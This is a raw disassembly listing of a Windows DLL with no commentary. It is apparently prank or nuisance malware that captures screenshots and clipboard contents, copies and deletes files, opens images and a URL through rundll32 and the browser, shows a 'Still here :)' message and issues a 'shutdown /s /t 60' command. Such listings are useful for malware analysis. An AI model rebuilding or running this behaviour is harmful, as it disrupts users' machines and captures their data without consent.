movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000a4ac
cmp rcx, 6
jne 0x18000a470
lea rdx, str.SWP_FALSE
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x18000a77b
lea rcx, [rbp + 0xf20]
call fcn.180002d10
mov rcx, rax
mov edx, r14d
call fcn.180005d60
test eax, eax
jne 0x18000a77b
mov edx, r14d
mov ecx, 0x7d0
call fcn.180005a20
lea rcx, [rbp + 0xfa0]
call fcn.180002060
nop
cmp r12d, 0xb
jle 0x18000a632
mov rcx, rbx
mov rdx, qword [r15 + 0x58]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rdi + rcx - 1]
jne 0x18000a632
cmp rcx, 5
jne 0x18000a500
lea rdx, str.DD_FALSE
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str..bmp
lea rcx, [rbp + 0x2e40]
call fcn.180001e20
mov r14, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edx, eax
lea rcx, [rbp + 0x2cc0]
call fcn.180007610
mov rsi, rax
lea rdx, str.screenshot
lea rcx, [rbp + 0x2ca0]
call fcn.180001e20
mov rdi, rax
lea rdx, [rbp + 0x3000]
lea rcx, [rbp + 0x2c60]
call fcn.180001e20
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2c40]
call fcn.180001430
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x2c00]
call fcn.180001430
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x2be0]
call fcn.180001430
mov rdx, rax
lea rcx, [rbp + 0xfa0]
call fcn.1800024f0
lea rcx, [rbp + 0x2be0]
call fcn.180002290
nop
lea rcx, [rbp + 0x2c00]
call fcn.180002290
nop
lea rcx, [rbp + 0x2c40]
call fcn.180002290
nop
lea rcx, [rbp + 0x2c60]
call fcn.180002290
nop
lea rcx, [rbp + 0x2ca0]
call fcn.180002290
nop
lea rcx, [rbp + 0x2cc0]
call fcn.180002290
nop
lea rcx, [rbp + 0x2e40]
jmp 0x18000a725
lea rdx, str..bmp
lea rcx, [rbp + 0x1560]
call fcn.180001e20
mov r14, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edx, eax
lea rcx, [rbp + 0x1540]
call fcn.180007610
mov rsi, rax
lea rdx, str.screenshot
lea rcx, [rbp + 0x1520]
call fcn.180001e20
mov rdi, rax
lea rdx, [rbp + 0x3550]
lea rcx, [rbp + 0x1500]
call fcn.180001e20
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2ec0]
call fcn.180001430
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x2ea0]
call fcn.180001430
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x2e60]
call fcn.180001430
mov rdx, rax
lea rcx, [rbp + 0xfa0]
call fcn.1800024f0
lea rcx, [rbp + 0x2e60]
call fcn.180002290
nop
lea rcx, [rbp + 0x2ea0]
call fcn.180002290
nop
lea rcx, [rbp + 0x2ec0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1500]
call fcn.180002290
nop
lea rcx, [rbp + 0x1520]
call fcn.180002290
nop
lea rcx, [rbp + 0x1540]
call fcn.180002290
nop
lea rcx, [rbp + 0x1560]
call fcn.180002290
lea rcx, [rbp + 0xfa0]
call fcn.180002d10
mov rdi, rax
lea rcx, [rbp + 0xf20]
call fcn.180002d10
mov rcx, rax
xor r8d, r8d
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rcx, [rbp + 0xfa0]
call fcn.180002d10
mov rcx, rax
call fcn.180006100
nop
lea rcx, [rbp + 0xfa0]
call fcn.180002290
mov r14d, 1
mov edx, r14d
mov ecx, 0x7d0
call fcn.180005a20
lea rcx, [rbp + 0xf20]
call fcn.180002d10
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, r14d
xor ecx, ecx
call fcn.180005a20
lea rdx, [0x180012014]
lea rcx, [rbp + 0x560]
call fcn.180001e20
mov rdx, rax
lea rcx, [rbp + 0x6f0]
call fcn.180005840
lea rdx, str..bin
lea rcx, [rbp + 0x1620]
call fcn.180001e20
mov r14, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edx, eax
lea rcx, [rbp + 0x1600]
call fcn.180007610
mov rsi, rax
lea rdx, [0x180012018]
lea rcx, [rbp + 0x15e0]
call fcn.180001e20
mov rdi, rax
lea rdx, [rbp + 0x3000]
lea rcx, [rbp + 0x15c0]
call fcn.180001e20
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x15a0]
call fcn.180001430
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x1580]
call fcn.180001430
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0xaa0]
call fcn.180001430
nop
lea rcx, [rbp + 0x1580]
call fcn.180002290
nop
lea rcx, [rbp + 0x15a0]
call fcn.180002290
nop
lea rcx, [rbp + 0x15c0]
call fcn.180002290
nop
lea rcx, [rbp + 0x15e0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1600]
call fcn.180002290
nop
lea rcx, [rbp + 0x1620]
call fcn.180002290
cmp r12d, 0xa
jle 0x18000a8fc
mov rcx, rbx
mov rdx, qword [r15 + 0x50]
lea r8, str._ncl
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000a8fc
cmp rcx, 5
jne 0x18000a8c0
lea rdx, str.CL_FALSE
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x18000af69
lea rcx, [rbp + 0xaa0]
call fcn.180002d10
mov rcx, rax
xor edx, edx
call fcn.180003630
test eax, eax
jne 0x18000af69
lea rcx, [rbp + 0xaa0]
call fcn.180002d10
mov rdx, rax
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadImageA]
mov rdi, rax
mov edx, 1
mov ecx, 0x7d0
call fcn.180005a20
test rdi, rdi
je 0x18000ac69
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteObject]
lea rcx, [rbp + 0xfc0]
call fcn.180002060
nop
cmp r12d, 0xb
jle 0x18000aac3
mov rcx, rbx
mov rdx, qword [r15 + 0x58]
lea r8, str._ndd
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000aac3
cmp rcx, 5
jne 0x18000a990
lea rdx, str.DD_FALSE
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str..bmp
lea rcx, [rbp + 0x1700]
call fcn.180001e20
mov r14, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edx, eax
lea rcx, [rbp + 0x16e0]
call fcn.180007610
mov rsi, rax
lea rdx, str.clipboard
lea rcx, [rbp + 0x16c0]
call fcn.180001e20
mov rdi, rax
lea rdx, [rbp + 0x3000]
lea rcx, [rbp + 0x16a0]
call fcn.180001e20
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1680]
call fcn.180001430
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x1660]
call fcn.180001430
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x1640]
call fcn.180001430
mov rdx, rax
lea rcx, [rbp + 0xfc0]
call fcn.1800024f0
lea rcx, [rbp + 0x1640]
call fcn.180002290
nop
lea rcx, [rbp + 0x1660]
call fcn.180002290
nop
lea rcx, [rbp + 0x1680]
call fcn.180002290
nop
lea rcx, [rbp + 0x16a0]
call fcn.180002290
nop
lea rcx, [rbp + 0x16c0]
call fcn.180002290
nop
lea rcx, [rbp + 0x16e0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1700]
jmp 0x18000abb6
lea rdx, str..bmp
lea rcx, [rbp + 0x17e0]
call fcn.180001e20
mov r14, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edx, eax
lea rcx, [rbp + 0x17c0]
call fcn.180007610
mov rsi, rax
lea rdx, str.clipboard
lea rcx, [rbp + 0x17a0]
call fcn.180001e20
mov rdi, rax
lea rdx, [rbp + 0x3550]
lea rcx, [rbp + 0x1780]
call fcn.180001e20
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.180001430
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x1740]
call fcn.180001430
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x1720]
call fcn.180001430
mov rdx, rax
lea rcx, [rbp + 0xfc0]
call fcn.1800024f0
lea rcx, [rbp + 0x1720]
call fcn.180002290
nop
lea rcx, [rbp + 0x1740]
call fcn.180002290
nop
lea rcx, [rbp + 0x1760]
call fcn.180002290
nop
lea rcx, [rbp + 0x1780]
call fcn.180002290
nop
lea rcx, [rbp + 0x17a0]
call fcn.180002290
nop
lea rcx, [rbp + 0x17c0]
call fcn.180002290
nop
lea rcx, [rbp + 0x17e0]
call fcn.180002290
lea rcx, [rbp + 0xfc0]
call fcn.180002d10
mov rdi, rax
lea rcx, [rbp + 0xaa0]
call fcn.180002d10
mov rcx, rax
xor r8d, r8d
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rdx, [rbp + 0xfc0]
lea rcx, [rbp + 0x1840]
call fcn.180001d00
mov rdi, rax
lea rdx, str.rundll32_shell32.dll_ShellExec_RunDLL_rundll32_shimgvw.dll_ImageView_Fullscreen
lea rcx, [rbp + 0x1820]
call fcn.180001e20
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1800]
call fcn.180001430
mov rcx, rax
call fcn.180002d10
mov rcx, rax
xor r8d, r8d
xor edx, edx
call fcn.180003560
lea rcx, [rbp + 0x1800]
call fcn.180002290
nop
lea rcx, [rbp + 0x1820]
call fcn.180002290
nop
lea rcx, [rbp + 0x1840]
call fcn.180002290
nop
lea rcx, [rbp + 0xfc0]
jmp 0x18000af64
lea rcx, [rbp + 0xfe0]
call fcn.180002060
nop
cmp r12d, 0xb
jle 0x18000adc3
mov rcx, rbx
mov rdx, qword [r15 + 0x58]
lea r8, str._ndd
nop
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000adc3
cmp rcx, 5
jne 0x18000ac90
lea rdx, str.DD_FALSE
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str..txt
lea rcx, [rbp + 0x1920]
call fcn.180001e20
mov r14, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edx, eax
lea rcx, [rbp + 0x1900]
call fcn.180007610
mov rsi, rax
lea rdx, str.clipboard
lea rcx, [rbp + 0x18e0]
call fcn.180001e20
mov rdi, rax
lea rdx, [rbp + 0x3000]
lea rcx, [rbp + 0x18c0]
call fcn.180001e20
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x18a0]
call fcn.180001430
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x1880]
call fcn.180001430
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x1860]
call fcn.180001430
mov rdx, rax
lea rcx, [rbp + 0xfe0]
call fcn.1800024f0
lea rcx, [rbp + 0x1860]
call fcn.180002290
nop
lea rcx, [rbp + 0x1880]
call fcn.180002290
nop
lea rcx, [rbp + 0x18a0]
call fcn.180002290
nop
lea rcx, [rbp + 0x18c0]
call fcn.180002290
nop
lea rcx, [rbp + 0x18e0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1900]
call fcn.180002290
nop
lea rcx, [rbp + 0x1920]
jmp 0x18000aeb6
lea rdx, str..txt
lea rcx, [rbp + 0x1a00]
call fcn.180001e20
mov r14, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edx, eax
lea rcx, [rbp + 0x19e0]
call fcn.180007610
mov rsi, rax
lea rdx, str.clipboard
lea rcx, [rbp + 0x19c0]
call fcn.180001e20
mov rdi, rax
lea rdx, [rbp + 0x3550]
lea rcx, [rbp + 0x19a0]
call fcn.180001e20
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1980]
call fcn.180001430
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x1960]
call fcn.180001430
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x1940]
call fcn.180001430
mov rdx, rax
lea rcx, [rbp + 0xfe0]
call fcn.1800024f0
lea rcx, [rbp + 0x1940]
call fcn.180002290
nop
lea rcx, [rbp + 0x1960]
call fcn.180002290
nop
lea rcx, [rbp + 0x1980]
call fcn.180002290
nop
lea rcx, [rbp + 0x19a0]
call fcn.180002290
nop
lea rcx, [rbp + 0x19c0]
call fcn.180002290
nop
lea rcx, [rbp + 0x19e0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1a00]
call fcn.180002290
lea rcx, [rbp + 0xfe0]
call fcn.180002d10
mov rdi, rax
lea rcx, [rbp + 0xaa0]
call fcn.180002d10
mov rcx, rax
xor r8d, r8d
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rdx, [rbp + 0xfe0]
lea rcx, [rbp + 0x1a60]
call fcn.180001d00
mov rdi, rax
lea rdx, str.rundll32_shell32.dll_ShellExec_RunDLL_explorer
lea rcx, [rbp + 0x1a40]
call fcn.180001e20
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1a20]
call fcn.180001430
mov rcx, rax
call fcn.180002d10
mov rcx, rax
xor r8d, r8d
xor edx, edx
call fcn.180003560
lea rcx, [rbp + 0x1a20]
call fcn.180002290
nop
lea rcx, [rbp + 0x1a40]
call fcn.180002290
nop
lea rcx, [rbp + 0x1a60]
call fcn.180002290
nop
lea rcx, [rbp + 0xfe0]
call fcn.180002290
mov edx, 1
mov ecx, 0x7d0
call fcn.180005a20
lea rcx, [rbp + 0xaa0]
call fcn.180002d10
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, 1
xor ecx, ecx
call fcn.180005a20
lea rdx, [0x1800120e0]
lea rcx, [rbp + 0x530]
call fcn.180001e20
mov rdx, rax
lea rcx, [rbp + 0x700]
call fcn.180005840
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x510]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x920]
lea rcx, [rbp + 0x510]
call fcn.180001d00
mov rdi, rax
lea rdx, [rbp + 0xa80]
lea rcx, [rbp + 0x4f0]
call fcn.180001d00
nop
xor r8d, r8d
mov rdx, rdi
mov rcx, rax
call fcn.180006130
mov edx, 1
mov ecx, 0x7d0
call fcn.180005a20
cmp r12d, 7
jle 0x18000b069
mov rcx, rbx
mov rdx, qword [r15 + 0x38]
lea r8, str._nmci
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000b069
cmp rcx, 6
jne 0x18000b030
lea rdx, str.MCI_FALSE
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x18000b084
lea rdx, [rbp + 0x920]
lea rcx, [rbp + 0x720]
call fcn.180001d00
mov rcx, rax
call fcn.180004dc0
mov edx, 1
mov ecx, 0x7d0
call fcn.180005a20
lea rcx, [rbp + 0x920]
call fcn.180002d10
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp + 0xa80]
call fcn.180002d10
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, 1
xor ecx, ecx
call fcn.180005a20
lea rdx, str.10th
lea rcx, [rbp + 0x4d0]
call fcn.180001e20
mov rdx, rax
lea rcx, [rbp + 0x710]
call fcn.180005840
lea rdi, str._nsh
sub r13d, 1
je 0x18000b117
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp r13d, 1
je 0x18000b10e
lea rdx, str.SH_NULL
jmp 0x18000b151
lea rdx, str.SH_CANCEL
jmp 0x18000b151
cmp r12d, 6
jle 0x18000b168
mov rcx, rbx
mov rdx, qword [r15 + 0x30]
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rdi + rcx - 1]
jne 0x18000b168
cmp rcx, 5
jne 0x18000b130
lea rdx, str.SH_FALSE
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x18000b17a
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov r8d, 1
call fcn.180004550
mov edx, 1
xor ecx, ecx
call fcn.180005a20
lea rdx, str.11th
lea rcx, [rbp + 0x4b0]
call fcn.180001e20
mov rdx, rax
lea rcx, [rbp + 0x1b0]
call fcn.180005840
cmp r12d, 0xd
jle 0x18000b1f9
mov rcx, rbx
mov rdx, qword [r15 + 0x68]
lea r8, str._nlnk
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000b1f9
cmp rcx, 6
jne 0x18000b1c0
lea rdx, str.LNK_FALSE
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x18000b22d
lea rdx, str.explorer_https:__burymewithmymoney.com_
lea rcx, [rbp + 0x1b40]
call fcn.180001e20
mov rcx, rax
call fcn.180002d10
mov rcx, rax
xor r8d, r8d
xor edx, edx
call fcn.180003560
lea rcx, [rbp + 0x1b40]
call fcn.180002290
mov edx, 1
xor ecx, ecx
call fcn.180005a20
lea rdx, str.12th
lea rcx, [rbp + 0x490]
call fcn.180001e20
mov rdx, rax
lea rcx, [rbp + 0x1c0]
call fcn.180005840
cmp r12d, 6
jle 0x18000b2a8
mov rcx, rbx
mov rdx, qword [r15 + 0x30]
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rdi + rcx - 1]
jne 0x18000b2a8
cmp rcx, 5
jne 0x18000b270
lea rdx, str.SH_FALSE
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x18000b2ba
mov r9d, 1
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.180004550
mov edx, 1
xor ecx, ecx
call fcn.180005a20
lea rdx, str.13th
lea rcx, [rbp + 0x470]
call fcn.180001e20
mov rdx, rax
lea rcx, [rbp + 0x1d0]
call fcn.180005840
lea rdx, [0x180011951]
lea rcx, [rbp + 0x450]
call fcn.180001e20
mov rdx, rax
lea rcx, [rbp + 0x1e0]
call fcn.180005840
movups xmm6, xmmword [rax]
movups xmmword [rbp + 0x960], xmm6
lea rdx, [0x180012178]
lea rcx, [rbp + 0xf40]
call fcn.180001e20
nop
mov edx, 1
lea rcx, [rbp + 0x830]
call fcn.180001c50
nop
pextrw edi, xmm6, 4
cmp di, 0xc
jbe 0x18000b37b
mov eax, 0xfff4
add di, ax
lea rdx, [0x18001217c]
lea rcx, [rbp + 0x1bc0]
call fcn.180001e20
mov rdx, rax
lea rcx, [rbp + 0xf40]
call fcn.1800024f0
lea rcx, [rbp + 0x1bc0]
call fcn.180002290
movzx edx, di
lea rcx, [rbp + 0x830]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_short_int____ptr64]
mov edx, 1
lea rcx, [rbp + 0x740]
call fcn.180001c50
nop
movzx esi, word [rbp + 0x96a]
cmp si, 0xa
jae 0x18000b3e4
mov byte [rsp + 0x40], 0x30
mov edx, 2
lea rcx, [rbp + 0x1f0]
call sub.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__
mov rdi, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x740]
call fcn.180001150
mov rcx, rax
mov rdx, rdi
call fcn.180001180
mov rcx, rax
jmp 0x18000b3eb
lea rcx, [rbp + 0x740]
movzx edx, si
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_short_int____ptr64]
lea rdx, [rbp + 0xf40]
lea rcx, [rbp + 0x1ea0]
call fcn.180001d00
mov qword [rsp + 0x48], rax
lea rdx, [0x180011a1c]
lea rcx, [rbp + 0x1e80]
call fcn.180001e20
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x1e60]
lea rcx, [rbp + 0x740]
call fcn.1800074d0
mov qword [rbp - 0x58], rax
lea rdx, [0x180011c84]
lea rcx, [rbp + 0x1e40]
call fcn.180001e20
mov qword [rbp - 0x60], rax
lea rdx, [rbp + 0x1e20]
lea rcx, [rbp + 0x830]
call fcn.1800074d0
mov qword [rsp + 0x78], rax
lea rdx, [0x180011a1c]
lea rcx, [rbp + 0x1e00]
call fcn.180001e20
mov qword [rbp - 0x80], rax
movzx edx, word [rbp + 0x960]
lea rcx, [rbp + 0x1de0]
call fcn.180007610
mov qword [rbp - 0x78], rax
lea rdx, [0x180012180]
lea rcx, [rbp + 0x1dc0]
call fcn.180001e20
mov r13, rax
movzx edx, word [rbp + 0x966]
lea rcx, [rbp + 0x1da0]
call fcn.180007610
mov r12, rax
lea rdx, [0x180012180]
lea rcx, [rbp + 0x1d80]
call fcn.180001e20
mov r15, rax
movzx edx, word [rbp + 0x962]
lea rcx, [rbp + 0x1d60]
call fcn.180007610
mov r14, rax
lea rdx, [0x180011a1c]
lea rcx, [rbp + 0x1d40]
call fcn.180001e20
mov rsi, rax
lea rdx, [rbp + 0x3aa0]
lea rcx, [rbp + 0x1d20]
call fcn.180001e20
mov rdi, rax
lea rdx, str.Message_from
lea rcx, [rbp + 0x1d00]
call fcn.180001e20
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1ce0]
call fcn.180001430
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x1cc0]
call fcn.180001430
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x1ca0]
call fcn.180001430
nop
mov r8, r15
mov rdx, rax
lea rcx, [rbp + 0x1c80]
call fcn.180001430
nop
mov r8, r12
mov rdx, rax
lea rcx, [rbp + 0x1c60]
call fcn.180001430
nop
mov r8, r13
mov rdx, rax
lea rcx, [rbp + 0x1c40]
call fcn.180001430
nop
mov r8, qword [rbp - 0x78]
mov rdx, rax
lea rcx, [rbp + 0x1c20]
call fcn.180001430
nop
mov r8, qword [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0x1c00]
call fcn.180001430
nop
mov r8, qword [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x1be0]
call fcn.180001430
nop
mov r9, qword [rbp - 0x60]
mov r8, rax
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x10e0]
call fcn.180001e60
nop
mov r9, qword [rbp - 0x58]
lea r8, [rbp + 0x10e0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x14e0]
call fcn.180001e60
nop
mov r9, qword [rsp + 0x60]
lea r8, [rbp + 0x14e0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1200]
call fcn.180001e60
nop
mov r9, qword [rsp + 0x48]
lea r8, [rbp + 0x1200]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1040]
call fcn.180001e60
nop
lea rdx, [rbp + 0x1040]
cmp qword [rbp + 0x1058], 0xf
cmova rdx, qword [rbp + 0x1040]
xor r9d, r9d
xor r8d, r8d
lea rcx, str.Still_here__:_
call fcn.180004cc0
nop
lea rcx, [rbp + 0x1040]
call fcn.180002290
nop
lea rcx, [rbp + 0x1200]
call fcn.180002290
nop
lea rcx, [rbp + 0x14e0]
call fcn.180002290
nop
lea rcx, [rbp + 0x10e0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1be0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1c00]
call fcn.180002290
nop
lea rcx, [rbp + 0x1c20]
call fcn.180002290
nop
lea rcx, [rbp + 0x1c40]
call fcn.180002290
nop
lea rcx, [rbp + 0x1c60]
call fcn.180002290
nop
lea rcx, [rbp + 0x1c80]
call fcn.180002290
nop
lea rcx, [rbp + 0x1ca0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1cc0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1ce0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1d00]
call fcn.180002290
nop
lea rcx, [rbp + 0x1d20]
call fcn.180002290
nop
lea rcx, [rbp + 0x1d40]
call fcn.180002290
nop
lea rcx, [rbp + 0x1d60]
call fcn.180002290
nop
lea rcx, [rbp + 0x1d80]
call fcn.180002290
nop
lea rcx, [rbp + 0x1da0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1dc0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1de0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1e00]
call fcn.180002290
nop
lea rcx, [rbp + 0x1e20]
call fcn.180002290
nop
lea rcx, [rbp + 0x1e40]
call fcn.180002290
nop
lea rcx, [rbp + 0x1e60]
call fcn.180002290
nop
lea rcx, [rbp + 0x1e80]
call fcn.180002290
nop
lea rcx, [rbp + 0x1ea0]
call fcn.180002290
call fcn.180004420
mov r15d, 1
mov edx, r15d
xor ecx, ecx
call fcn.180005a20
lea rdx, str.14th
lea rcx, [rbp + 0x430]
call fcn.180001e20
mov rdx, rax
lea rcx, [rbp + 0x200]
call fcn.180005840
lea rdx, str.shutdown__s__t_60__c__Windows_will_shutdown_in_a_minute_
lea rcx, [rbp + 0x1ee0]
call fcn.180001e20
mov rcx, rax
call fcn.180002d10
mov rcx, rax
